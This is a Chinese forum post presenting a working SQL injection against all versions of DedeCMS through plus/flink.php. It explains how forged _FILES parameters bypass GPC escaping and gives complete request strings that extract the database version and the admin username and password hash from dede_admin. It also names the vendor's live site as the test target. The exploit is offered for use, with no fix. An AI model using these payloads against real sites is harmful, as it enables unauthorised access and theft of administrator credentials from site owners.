忘记密码?

一键登录

草根吧源码论坛

DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果)

查看: 438|回复: 0

DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果)

[复制链接]

5761

主题

2308

热度

1318

贡献

管理员

Rank: 9Rank: 9Rank: 9

DZ专员

发表于 2014-9-28 10:11:23 | 显示全部楼层 |阅读模式 | 百度  360  谷歌 
分享到:
详细说明:

首先,我们来看看dede重要文件 common.inc.php

这里开始过滤得很完整,往下看

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}





我看再看:uploadsafe.inc.php

//29行
    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);



看到这里,我笑了。

这不是能绕过 GPC的节奏么。



好吧,随便找一个能添加数据的地方

于是找到了

plus\flink.php



虽然都经过 htmlspecialchars

我们看看:

htmlspecialchars(string,quotestyle,character-set)





可选。规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

默认情况下仅编码双引号。



这里不是重点,不过也是能利用的条件之一,用于绕过dede自带的ids。

构造webname 值为:

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





这里解释一下,经过GPC后 webname 变为 pass\\

经过刚才 uploadsafe.inc.php 的函数后

webname 变为 pass\



插入到SQL语句中就变成了

INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','





即吃掉了后面的 ' ,从而实现绕过GPC。

不过ExecuteNoneQuery不支持错误回显,那我们就构造好,让他显示出来吧。于是后面的logo函数就变成:

logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`



ischeck 为1即绕过审核,结果直接显示出来。



完整参数为:

查版本:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





查密码:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





验证码字段自己修改。。。

漏洞证明:

草根吧 DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果) 测试结果 站长头条 251032195f50c560870c6d11b3870b1d97013fcc


草根吧 DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果) 测试结果 站长头条 2510323488ffcb2474cfeb61e092b786d878a537





官方测试地址:

http://help.dedecms.com/plus/flink.php

草根吧 DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果) 测试结果 站长头条 25104200f25f357101c7489af3eb80eaf8ecc696


帖子地址: 

本文来源于草根吧源码论坛 www.caogen8.co,欢迎大家下载。
如果您没有贡献需要充值,可以直接在线充值,点击充值
如果你需要加入本站赞助VIP会员,可以直接在线开通,点击开通
如果找不到您要的资源,请搜索一下,点击搜索
回复

举报

发表回复

高级模式
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 用百度帐号登录 一键登录:

本版积分规则

收藏帖子 返回列表 搜索
快速回复 返回顶部 返回列表